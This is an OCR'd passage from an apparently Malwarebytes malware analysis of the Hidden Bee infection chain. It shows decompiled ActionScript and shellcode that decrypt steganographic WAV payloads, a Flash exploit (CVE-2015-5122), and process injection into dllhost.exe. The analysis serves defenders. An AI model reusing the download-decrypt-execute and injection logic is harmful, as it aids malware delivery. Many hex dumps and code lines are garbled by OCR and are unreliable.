EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the

next stage modules: /bin/1386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.
Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

[ ActionScript source
com.google.decode

ma|

WARNING: The code decompilation contains §5§ instructions. This is usually caused by an obfuscation (See Seftings/Automatic deobfuscation) or a nonstandard compiler used (Haxe, eic.).

1 backage com.google

2 {

3 import avmz.intrinsics.memory.lilé;
4 import avmz.intrinsics.memory.1i32;
5 import avm2.intrinsics.memory.li8;
[ import avm2.intrinsics.memory.silé;
7 import avmZ.intrinsics.memory.si32;
8 import avmZ.intrinsics.memory.si8;

9 import com.google 2F war 2F folders 2F z4 2F jk5t3d6l3nsfhpppmxkveéeSm0000gn 2F T 2F 2F cculOwDs 2E 1to 2E bc 3A 2210E4FE 2D 444B 2D 45E7_
10 import flash.display.Loader;

11 import flash.system.ApplicationDomain;

12 import flash.system.LoaderContext;

13 import flash.utils.ByteArray;

14

15 public function decode(paraml:Bytelrray, param?:Bytelrray, param3:int, parami:Function) : Loader

16 {

Looking at the decompiled code, we see some interesting constants. For example, —-889275714 in hex is
0xCAFEBABE. As we found during analysis of other Hidden Bee elements, this DWORD was used by the same

authors before as a magic number identifying one of the custom formats.
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243 if( loc53 = -889275714)

244 {

245 _loe53_ = 1i32(_locé&8_ - 32)»

248 if{_loch3_ == 32)

247 {

248 if{_locS9_ != 0)

2419 {

250 if{_lochs_ != 1)

251 {

252 _loc53_ = int{_loc@3_ - 40):
253 _loe53_ = _locB3_ | 4:

254 _loe57_ = 1i32(_locS3_):

255 1

256 elae

257 {

258 _locsi_ = int{_loc3_ - 16);
259 3132({_loc57_, _locS_ + 4);
260 _loch3_ = int(_loc&&_ - 1072);
261 3i32(_loc53_, locS )

262 E5F = _locS_»

263 F_ECRYPT keysetup():

264 _loch5_ = int{_locS_ + 18);
265 _lochl_ = int{_locG3_ - 40);
266 _loe5l_ = _loc3l_ | 4;

267 _locs7_ = 1132 (_loc5l_):

268 _locsi_ = int{_loc3_ - 16);
269 3132 (_1loe57_, _loeS_ + 12);
270 _lochl_ = int{_locdd_ + T&):
271 3i32{ lochl , locS_ + 8);
272 3132 (_loc5l_, loc5_ + 4);
273 3i32(_loch3_, _loch )

274 E5F = _locS_;

275 F ECREYFT process_bytes();

Internally, there are references to a function from another module: E_ENCRYPT_process_bytes(). Inside this

function, we see calls suggesting that the Rabbit Cipher has been used:
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10 public function F_ECRYPT procesa_bwytes() : wvoid
11 {

12 var locd :* = 0;

13 var _locT _:* = 0;

14 var locd :* = 0;

15 var loci _:* = 0f

16 var _locB_:int = 07

17 var _locé_:* = 07

18 var _loc3_:* = int(E5EF);

13 _loc2 = loc3 ;

20 _loc3_ = int{_loc3_ - 14);

21 _locd = 1i32(_loc2_ + 12):

22 _locs_ = 1i32(_loc2_ + 8):

23 _locE = 1i32(_loc2_ + 4):

24 _loc7_ = 1i32(_loc2_):

25 if{uint{_locd4 ) »>= 1&)

26 {

27 _locs_ = int{_loc5_ + 12);

28 _locg_ = locé  + 127

29 _loceé_ = int{_locT_ + &8);

30 do

al {

32 _loc3i_ = int{_loc3_ - 1&8);
a3 3132 (_lock_, loc3_):

34 E3F = _loc3_;

35 F RABBIT next state();

36 _1loc3_ = int{_loc3_ + 16);

Rabbit uses a 128-bit key (the same length as the MD5 hash that was mentioned before) and a 64-bit initialization

vector. (In different runs, a different encryption algorithm may be selected.)

After the decoding process is complete, the revealed content is loaded:

e f
3329 if{_locsT_ !'= 0}

3330 {

3 _loe53_ = 1i32{_loc57_);

3332 ESP = _locS_ s -16;:

3333 var _loclé_:ByteArray = new ByteRrrav():

3334 (CModule.readBytes (int(_loc57_ + 4), loc53 ,_ loclé_);

3335 ESP = _loc5_ & -14;7

3336 ESP = _loc5_ & -167

3337 new Loader().contentloaderInfo.addEventListener ("conplete”, paramd) ;
3338 ESP = _loc5_ & -167

3339 var _loc69_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain];
3340 ESP = _loc5_ & -167

3341 _locéd_.applicationDomain = ApplicationDomain.currentDomain;

3342 ESP = _loc5_ & -167

3343 _locéd_.allowCodeImport = true;

3344 ESP = _locS_ & -147

3345 new Loader() .loadBytes {Jln:-clﬁ_, _locé9_);

3344 _loc5_ = int{_loch_ - 18);

3347 3i32(_loc57_,_locS_):

3348 ESP = _loch_»

3349 F_idalloc():

3350 _loc5_ = int{_loch_ + 18);

3351 _loc2i_ = new Loader():

3352 }

The first WAV: a Flash exploit
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The decoded WAV contains a package with two elements embedded: a Flash file (movies.swf) and the
configuration file (config.cfg). The decrypted data starts from the magic DWORD 0xCAFEBABE, which we

noticed in the code of the previous SWF.

i iexplore.exe.dmp

Cffset(h) 00 01 02 03 04 05 06 07 08 095 OA OB OC OD OE OF Decoded text

07763B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvusuuunreeesss
07763820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvuvuuunneeesss
07763B30 00 52 49 46 46 04 8C 00 00 57 41 56 45 66 6D 74 .RIFF.S..WAVEfmt
07763B40 20 10 00 00 00 01 00 01 00 20 3E 00 00 00 7D 00  +u.vuuues €r...1.
07763B50 00 02 00 10 00 64 61 74 61 E0 8B 00 00 33 8C C2  ..... datatc..354
07763B60 4E 22 31 TA B8 6F 34 Fe A5 F7 AS AF 10 F3 07 C2 N™lz o464 Z.8.4
07763B70 46 E7 31 4E B3 28 9E FF 14 9F 1F 98 14 1F 8B 08 F-INZ.% .Z....<.
07763B80 00 00 00 00 0D OO0 03 00 72 20 8D 7F DTN - .------ reT.[[stH
07763B90 3C 00 00 00 02 00 00 00 24 00 00 00 3C 00 00 00 <....... $...<...
07763BA0 2D &E 00 00 30 00 00 00 €9 2B 00 00 3C 00 00 00 =¢..0...1i¢..<...
07763BB0 2F &0 6F 76 69 &5 73 2E 73 77 66 00 2F 63 6F 6E /movies.swf./con
07763BCO 66 €3 67 2E 63 66 67 00 43 57 53 1B TF FF 00 00 fig.cfg.CW5.. ..
07763BD0 78 9C EC BD 77 5C 55 47 D7 2F 3E B3 67 EF B3 4F x&&“w\UGx/>igdi0

The Flash file (movies.swf) contains an embedded exploit. In the analyzed case, the exploit used is CVE-2015-

5122, however, a different exploit may be used on a different machine:

A flashz.swf
| header

] sprites

H frames

|| athers

|\ scripts

Fove 2015 5122 _fla
=0

—»  Bufton_disabledSkin
—» | Button_downSkin

—»  Bufton_emphasizedskin
—»  Bufton_overskin

The payload (shellcode) is stored in form of an array (binary version available here:
9aec11ff93b9df14f060f78fbb1b47a2):

1 package

2

= class PayloadWin3z

4 {

5

[ public static wvar payload:Vector.<uint> = Vector.<uint>({[2420162609,6130450447,1620856352,1768,134222080,
7

g

g function PayloadWin3a2()
10 {

11 super();

12 }

13 1

14 }

15

The configuration file (config.cfg) contains the URL to another WAYV file.
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The payload is padded with NOP (0x90) bytes, and the parameters, including the configuration, are filled there
before the payload runs.

pavlEnd = O;

payllength = PayloadWin32.payload.length;
indx = O;

while(indx < pavlLength - 1)

i

if{PavloadWin3Z.pavload[indx] = O0xZ0203202C
&& PavloadWin3Z.pavlicad[indx + 1] = O0xZ0202032C0

)
i
pavlEnd = indx;
break:
1
indx++;
i
if{pavlEnd '= 0)
i
indx = O;
while(indx < paraml.length)
i
S /write parameters at the end of the payload:
PayvloadWin32 .pavlocad[pavlEnd + indx] = paraml [indx]:
indx++;
1
i

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It is retrieved by the
“PayloadWin32” shellcode (9aec11£f93b9df14f060f78fbb1b47a2), deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and decrypting another
WAV. The shellcode uses parameters that were filled by the previous layer. This buffer contains the URL that will
be queried and the key that will be used for decryption of the payload. It loads functions from wininet.dll using

their checksums. After the initialization steps, it queries the supplied URL. The expected result is a buffer with a
header typical for WAV files.
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v2 = alj

v3 = &input_buffer[-*{unsigned _ intl6e *}input_buffer];

func_checksums = (int)&v3[*((unsigned _ intle *}input_buffer + 1}];

buf = &3[*(unsigned _ intle *)}(func_checksums + @x7@) - *((unsigned _ intle *}input_buffer + 2}];
zero_buffer(&functions list, @wd4Cu);

result = load_wininet_functions(v2, (int (_ stdcall **){char *})&functions_list, func_checksums};
if ( result )
1

copy_16_bytes(buf, &crypt_key); // copy the crypto key

result = download_from_url(v2, &functions_list, buf, &meodule size);
wav_buf = (_BYTE *)}result;
if { result )

if ( *(_BYTE *)result == 'R’ // check the WAV header
&% *( BYTE *)({result + 1) == 'T"
&% *( BYTE *)({result + 2) == 'F'
&% *( BYTE *)(result + 3) == 'F'
&8 *(_DWORD *)(result + 4) <= module_size
&% *(_BYTE *)(re _«,ulf +8) == "W
&% *( BYTE *)({result + @xA) == 'V'
&% *( BYTE *)(r esult + Bx24) == 'd’
&% *( BYTE *)(result + 8x26) == 't' )
{

msize = *(_DWORD *}(result + 8x28);

As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the encrypted content.
Indeed, blocks that are 8 bytes long are decrypted in a loop:

module size = *({_DWORD *)wav_buf + 8oucA);
if ( wav_buf != (_BYTE *)@xFFFFFFD4 )

if ( I(mSize & 7))

1
chunk_ptr = wav_buf + 8x2C;
crypt_init((int)}&crypt_ctx, Bcrypt_key, 16);
msize = module_size;
w23 = @;
if { module_size )
1
do
1
crypt_block((int)}&crypt ctx, chunk ptr, chunk ptr);
w23 += 8:
m5ize = module_size;
chunk_ptr += 8;
¥
while { v23 < module_size };
¥
¥

After the decryption is complete, the next module will be revealed. It is interesting to take a look at the expected
header of the payload to learn which format is used for the output element. This time, the decoded data is

supposed to start with the following magic numbers: 0x01, 0x04, ..., 0x10.

Page 86 of 265



https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

if ( mSize > éxl1C
&% *((_DWORD *)wav_buf + @xE} <= mSize
&& wav_buf[@x2F] == exle
&& wav dJ-[bXZC] // start of the payload header
&& wav_buf[ex2D] =
&& mSize > *((_E ORD *)wav_buf + @x16)
&& mSize » *({(_DWORD *)wav_buf + 8xD)
&% !(wav_buf[8x3C] & 3) )
1
allocated buf = ( BYTE
v23 (un, gned int)
if ( allocated buf )
new_module_ep = (void (_ stdcall *)(unsigned int *))&allocated buf[*{(_DWORD *)wav_buf + @uD)}];
copy huffer(a__- ated buf, wav_buf + 8x2C, module size);
wav_buf + @x2C;
= v23; // _allocated buffer
ule_ep(&vl17); // call the decoded payload
'
VirtualFrees(v23, @, 8x86008);
}
}

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted
(9b37¢9ec19a53007d450b9b9c8febbe?):

Address |Hex dump ASCII

H2EEEEER| 52 49 46 46 C4 BE OB B0 57 41 56 45 &6 &0 v4 20| RIFF—2..WAUEfmt
F2EEEEIE| 18 B8 OB B0 @1 B8 Ol B0 28 3E OB B0 B8 VD 06 B0k, . .8.8.Cx .03,
BZEEHEZEH| B2 BE 16 BE 64 &1 74 61 OB BE B0 B0 @1 B4 BB 16| @, b.datads . . Ge. b
FEEEEEEE 10 BR Y4 BE BC HE DE B0 22 BE DE B0 FE HE OE B0 C.t.. 4.0 k2. pe.
H2&5EE4 0 +5.. 4.d7
H2&EHEEH
B2GoEEGH
HEnEEETE 4B BR 43 39 38 24 6E 656 65 BE OB BE B8 B4 0B 49 KECISinff.
precaEse 6B 68 63 64 6F FE 24 G6E 65 65 OB B0 BA B8 05 B0 khcdoVinff... .8
H2EEEETe) 47 B9 EC 49 B8 BE 24 &6E &6 65 DE B0 B8 BE 0@ 80 GY-IX"Snff......
HEEEEERE | 80 EVY HE 97 9F &5 BDO 6B 9B EC 28 BE 24 ¥5 82 60 1£+3&f2kT~lafue.
HEechEED) 2@ B 82 80 90 BB 93 IC CA 96 93 IC BE 96 93 IC @%e.kgdac=Fa"lao
HEEcEECH | 86 2E 6B D3 F? 58 BS B4 BF 32 BS 50 47 ¥B B8 55 «.kE HA+- ZAPGL{EU
procpEbe) 11 45 15 4E 89 5F BY 29 20 AF D2 7D 4F SB AS &3 AEENE_ElZ-0X0[EC
HEncEEED 98 F5 B2 B0 23 32 H1 &F 3C CE EE 30 SE DR FO EZ Eue.#ZiodrtBArid
HeecEdbe 58 3F 15 5H FA 34 19 49 FE ES 19 BE 2F 8¢ D08 IC) H7EC 44 ImfidR- i
Hrec@lEn) lF BB 31 CF 27 75 80 CH 2E CF BF &5 9E 32 &9 By W lo'uz=.0CF=3(E
ErecElle 63 AL BB 13 97 BF 2C 38 BF CH Y@ 38 E3 ER 82 20 ciglsx, 8-=pBArfe
HERcElZH | CE 48 94 B 18 C& 95 EBE BR AL CO EC 79 HE EBF D2 jrEc kALY i=ywiq0
Eerec@lze B2 FL Bl EDO B9 16 AD 41 56 F2 39 D5 B3 B8 OE 11 @81 osAU 91 |Z04
Heec@ldn 9 FC O 3F F3 11 F1 BF BF 6E 2R 16 74 2F 2E BS AE| #RY*4“q_n#*_t-, [+
Gooenlso|SB 43 B7 74 23 98 OC EA 1T 97 8% 97 5B 75 5B 34| [Iotel.F#stoluds

This is an executable component that is loaded into Internet Explorer. After it decodes the imports, it starts to look

much more familiar:

Address |Hex dump ASCII

BzZASEEAA| A1 B4 BE 18| 1C BA 74 BA|AC BE B8 BA|E2 EBE B8 G6|Ae.bo.t. . $.. 82,
HZASEE1A| FE B5 B8 BAA| 12 BS B8 B0\ A0 G0 B8 A8 A9 BE 11 A6|pe. . T5. ... ..., 1
HZASEEZA| 6E 74 &4 BC|EC ZE &4 EC|EC BE BE AC| B 25 6@ 4B ntdll dll....%.
H2ASE82A| 45 52 4E 45(4C 33 32 2E|64 6C 6C BB @B GC A8 @A2|ERMELZ2.dll....
HZ2ASEE48| 86 41 44 E&(41 BB 49 22|32 2E &4 &C|EC BE BE BE|.ADVARIZZ2.dLL..
BZASE6CH| BB G4 68 43 61 62 69 EE|65 74 ZE 64|EC EC 65 60| .e.Cabinet.dll..
H2ASE8EE| AR B8 A& 88|40 53 56 43|52 54 ZE 64| 6C &C 88 88| ..+ .MSUCRT.dLL..
HZASEETE| 00 B0 88 @8| 12 FA 20 FF|FE 47 9F FF|E4 AS 98 FF|e... 1 2w-GCWidsw
HZASEEEA| 1E 3B 8F FF|48 53 8F FF|CB 55 8F FF|CB 53 8F 7F|+; CWwESCW -UCw 50w
BZASEE3E| 08 54 5F 77| LF 53 92 77|25 50 90 77|78 B2 99 Y| LTCWTS [wi-EwsbEw
HZASEEAA| C4 73 9@ FF|48 6@ 9@ FF|E2 41 SF FF|EE 57 91 7F|.A=-wwiH™ - wih.aad
HZ2ASEBERA| 08 3C S9F FF|CB 4C SF FF|EE 2A BB 77|08 D9 BE 77| i{Cw'LCwt#*Iud Ju
HZASEECHE| 2B 45 BC 77|41 CF BE 7F|A2 BS BA 77|46 BA BE 77| +E.wHSIwiA. wFll Jw
G2ASE806| &2 BF BE 77|02 33 ac 7PFP|CF CO 8B 77|A4 10 BC 77|b#IwEl. wiFJuwlH.w
BZASEEER| 4F 21 BC FY| 26 2C BC FF|BE ZF BC FF|FC CA BE 77| 0. wiki.wAswi=ay

M -

We can see that it follows an analogical structure to the one described in last year’s article.
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This module is first executed within Internet Explorer. Then, it creates another process (dllhost.exe) in a

suspended state:

HZASEATS 2025 FCFFFFFF [LER ERX, OWORO FTR S5: [EEF-B:247

B2ASBATF =] FUSH EA

B2ASEAZE CE FUSH ESI

B2ASERS1 =) PUSH ESI

B2ASER32 &R B4 PUSH Bx4

B2ASEA3G =) PUSH ESI

E2ASEAZE EE PUSH ESI

H2ASER2E CE PUSH ESI

B2ASEAST 2025 24FDFFFF |LEA EAX,DOWORD PTR SS: [EEF-G:2C0C]

G2ASEA20 =) FUSH ESI

B2ASEAZE =] FUSH EA:

AZASER2F FF1S 2e@lA2E2 [CALL DWORD PTR DS: [Bx2ASE1281 kernel22. CreateProcessll
SECH TEST ERX,EAR

AZAZEAST |+ 74 40 JE SHORT BZASEAES

iq L_J

Stack address=BZ1AC15@, (UHICODE "C:w-Windows-~swstemzz-~~dl [host.ene"]
ERX=88806086 1

Address |Hed dump ASCII

GzAsEEEa| Al 64 88 16| 1C 68 74 88| AC BS B8 B8] S22 BE 690 a0|Ge.ko.t. . d. 0 k2.,
EZASEE1E| FE G5 88 G@| 12 BS @9 00|00 00 @8 88|87 08 11 88|pe. . t5. . i eaaad.
BZASEEZA| 6E 74 &4 GC|E&C ZE &4 GC|AC BE BE AC| A8 26 B8 4B[ntdll.dll... &K
HZAZEE3A| 45 52 4E 45|4C 33 32 ZE| 64 &C 6C BA|AB @C B8 &8 ERMELZZ2.dlLl....0
EZAZEE48| A6 41 44 56|41 5@ 49 22|52 ZE 64 EC|EC BE BE BE|.AOVAFIZZ.dLL..#
BZOSE6SE| BB G4 B8 43 61 62 69 EE|6E 74 2E 64|EC EC B0 68| .4.Cabinst.dll..
HZASEEEE| BA B8 8BS BB| 40 53 E& 42|52 B4 Z2E &4|&C &C B8 8A&( ..+ .MSUCRT.dLL..
B2ASEETA| 06 B8 A3 8| 12 FA S0 7F|FG8 47 SF 7F|E4 AS 98 7F|.... 1 2w-GCwiddw
B2ASE888| 1E 3B SF 77|48 53 SF FF|CB 55 SF FF|CB 53 SF 77| +; CwESCw tUCW LSCw
BZAEEE3E| 08 54 SF 77 LF 53 92 77|28 5C 90 77| TS 62 99 7Y| LTCWTS (wiEwsbEw
HZASEBAA|C4 73 98 FF|48 60 98 FF|68 41 8F FF|ES 57 91 77| -wwH" - wiheas
HZASEBERA| D& 3C 8F FF|CB 4C 8F FF|EE ZA BE 77|08 D9 BE 77| i{Cw'LCwt*dud Ju
BZAZEECAI ZE 45 AC FFi41 CF BB FFIAS BE BA FFl46 BA BE 77| +E.wADIWiA. wFll Jw

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758):

[ dilhost.exe (2784) Properties

| General I Statistics I Performance | Threads I Token I Modules | Memery | Environment I Handles I Comment

Hide free regions
Baze address Type Size  Protect... Use Tat
> Ox 10000 Private 128kE RW 1
> 0w 30000 Mapped 16kE R
> Ox40000 Private 4kB RW
4 (50000 Mapped 52kE  RWX
0x 50000 Mapped: Com... 52kB  RWX
7| dilhost.exe (2784) (0x50000 - 0:5d000) = ===
00000000 ﬂl 04 00 10 1c Oa 74 00 Oc OS5 00 00 &8 be 00 00 ...u.. Lovannanna »

00000010 70 O0& 00 OO0 18 k& 00 00 00 OO0 00 00 09 00 11 00 Pusesesnsnaaansns (W
00000020 &4 Te &2 66 66 24 6e 66 &6 00 00 Oc 00 26 00 41 d~nffsnff....&.R
00000030 4f 53 44 4f 44 39 38 24 6e 66 64 00 00 Oc 00 O QHEDOFSSsnff.....
00000040 00 4k 4e 5c 4b 5a 43 39 38 24 6e &6 66 00 00 Ob EMNEZCS9E8Snff...
00000050 00 04 00 4% 6b 62 63 64 &L 7e 24 6e 66 66 00 00 ...Ikhcdo~%nif..

000000680 0Oz 00 O& OO0 47 59 5c 49 58 5S5e 24 &e 66 &6 00 00 ....GY°NIX~%nff..
00000070 00 00 00 00 &c 7 ae 97 9f 66 bd 6b 9b Sc 88 Ob ......... k...
00000080 24 75 82 04 30 b8 82 0d 9d bb 93 lc ca 96 93 1lc fu..0...ieueusn
00000090 5e 96 93 1lc 0& 2e &b 43 £9 58 be 04 07 32 b5 50 ~..... k.. .X...2.F
000000&a0 47 7b 08 553 11 45 135 4e 8% 5L b7 2% 8d af 42 7d G{.U.E.N._.}...}
000000k0 4f Sk a8 63 90 75 82 04 23 32 al &f 3c ce ee 30 O[.c.u..#2.0<..0
000000ch Be da £d e2 58 3£ 15 Sa fa 34 19 49 fe e5 1% Oe ....¥2.Z2.4.I....
00000040 2f 87 d8 1lc 1f bb 31 of 27 75 84 ca 2e cf &8f 66 /..... AL PR £

Then it redirects execution to its loading function. Below, we can see the Entry Point of the implanted module

within dllhost.exe.
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* KernelMode - dilhost.exe - [*G.P.LU* - main thread]
@ File View Debug Plugins Options Window Help

et Bledx] w1 s+ 305 A~ s]E[m]T|w]nc| s

FF7424 B2 FUSH DWORD PTR S5: [ESP+E12] implanted_modu le_ep
BEASACED FFE424 B2 CALL DWORD PTR S5: [ESP+Ex2]
BEESECE L CZ Bcea RETH &:iC
BRASACES 55 FUSH _EEFP
BRASECES SEEC MOu EBF, ESP
BRESECET S3EC 12 SUUE ESF,Onls
BEASECEA =] FUSH _EBX ntdl . 77997140
BEESECEE 2BED 12 MOU EBX, ONORD PTR SS5: CEEF+E:12]
AARSACAF A FIISH FRT

1 [
Stack So:LO011FAECI-DEEELESH

Address |Hex dump HSCII

HEEEEEEE| 1 B4 B8 16| 1C BA 74 BE|EC B B8 BE| 22 BE 60 60| Ge. ko t.. &0 F2..
BEEEEE1A|FE G5 83 0| 12 BS 88 60|60 60 88 88|62 66 11 88|ps..t5. ... ... 4.
BEAASEEZA| 64 FE G6E &6 66 24 GE AR A6 BE BE AC| BB 26 B8 41|d nffinff....%.A
BEESEE3E| 4F 58 44 4F| 46 29 38 24| 6E &6 S5 BE| @8 GC @8 82| 0<00F985nff... .0
BERSEE4E| B8 4B 4E SC|4E 5A 43 39|38 24 6E 66|66 BE BE BE|.KH-KZCIESnff..d
HERSEEEA| BB B4 B8 49| 6B &8 63 64| 6F YE 24 GE| 66 &5 BE 88| . 4. Ikhcdo™Snff..
BARSEREA| AR @A @5 @A 47 59 EC 49|52 EE 24 6E| 66 &6 BE BA| ... .GY-~IE"5nff..
BARSEETA| AR B B8 @@ 2C EFY AE 97| 9F &5 BOD &EB| 9B SC 82 BE|....1E«3&F2kT k2
HEEEEESA| 24 Y5 892 60|28 BS 82 80|90 BB 92 IC|CR 96 93 1C|fue.@Se.kqnac=lac
BEEEEE9A|5E 96 92 IC| @& 2E 6B DI|F2? 58 B& 84| A7 32 BE 58| “Pi . kE HAe« 2AF
BEAESEEAE| 47 FE 82 55|11 45 1S 4E|89 5F BY 29|80 AF D2 70| G{EUAEEHE_EIZ=02
BEESEEES| 4F 5B AS 63|98 ¥5 92 60|22 32 Al &F|2C CE EE 38| O[EcEus. #2 (odjftE
BEASEEACA| 2E DA FO EZ| 58 3F 15 BAIFA 34 19 43|FE EE 19 BE|ArLORYES " 44 Imfi+H

A detailed analysis of the execution flow of this module and its format will be given later in the article.

At this point, it is important to note that the dllhost.exe is the module that further downloads the aforementioned

images.
The modules with the custom format

The module with the custom format is analogous to the one described before. However, we can see that it has

significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the previous one. The few details that have changed are: the magic number at the
beginning (from 0x10000301 to 0x10000401), and the format in which the DLLs are stored (the length of a DLL
name has been added). That’s why we will refer to this format as “0x10000401 format.”

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1 byte character. They

are deobfuscated just before being loaded.
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Ll =]

@a3115DC

@83115D0C decede func_name:

@8B831150C mov cl, [esi+5]

B83115DF xor [eax], cl

B83115E1 mov ecx, [ebptarg_e]

8@83115E4 movzx  edx, byte ptr [edi]

B83115E7 inc eax

B83115E8 add ecx, eax

BB3115EA cmp ecx, edx

BB3115EC jb short decode func_name
T

‘ YYY
|l 5=
3115EE
3115EE loc_3115EE:
3115EE lea eax, [edi+d]
3115F1 push eax ; _DWORD

3115F2 call ds:LoadLlibrarys
3115F8 test eax, eax

3115FA mov [ebptvar_18], eax
3115FD jz short loc 311636

Summing up, we can visualize the new format in the following way:

Cffsec(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text

00000000 [EEOERDL] 0 RS - I.. HEADERS

00000010 |70 _0&6 00 e e

08 00 11 00 .... DLLs

00000020 64 7E 6E 66 66 24 6E 66 66 00 0D OC 00 26 00 41 d~nff¢nff....&.A  [lc offeat = Ox1C
00000030 4F 58 44 4F 46 39 38 24 6E 66 66 00 00 0OC OXDOF98SnEs. .. .. N
00000040 00 43 4E 5C 4B SA 43 39 38 24 6E 66 66 00 .KM\Kzcosgnge, .. Svuctdll record{
00000050 00 04 00 49 6B 62 63 64 6F TE 24 6E 66 66 00 00 ...Ikhcdo~Snff.. WORD name_length,
00000060 OR 00 06 00 47 52 5C 42 58 SE 24 6E 66 66 00 00 ....GY\IX"Snff.. WORD functions_count,

00 00 00 00 e char name []; //XORed

t
00000070 8C E7 BE 97 SF 66 BD 63 9B 5C 88 03 SeB—2f k..
00000080 24 75 82 0D 30 B8 82 0D 9D 58 93 1C CA 96 93 1C  Su,.0.,.t»".E-".
000000%0 SE 296 93 1C 06 2E 6B D2 F9 52 BE 04 07 32 BS 50 ~-"...k0d¥qg..2uP =0x74
.
00000180 87 FO 96 7C 3D AD 39 0D C7 OE E0 3D F3 16 E6 F5  +d-|=.9.C.7=4.&4 SLKEL
00000190 7FC B0 3E 28 EA 3D 9D 7C | "> e=t]
64 A1 30 00 00 00 C3 56 d o...iv CODE

000001A0 8B 4C 24 08 8B 44 24 08 33 D2 83 CO 14 38 51 07 <L$.<D$.3H.R.8Q. Entry Point = 0x050C
000001BO 74 1C 33 F6 39 51 10 88 51 07 76 12 8B DE 83 E2  t.3569Q..Q.v.<0.4
00008810 00 00 00 00 00 00 00 00 83 03 00 00 BZ 03 RELOCATIONS
00008820 BF 03 00 00 E1 03 00 00 04 04 00 00 13 04
0000BS30 24 04 00 00 2D 04 00 00 42 04 00 00 47 04 Offset = 0xB818
00008840 55 04 00 00 61 04 00 00 8C 04 00 00 9C 04 Size = 0x0670

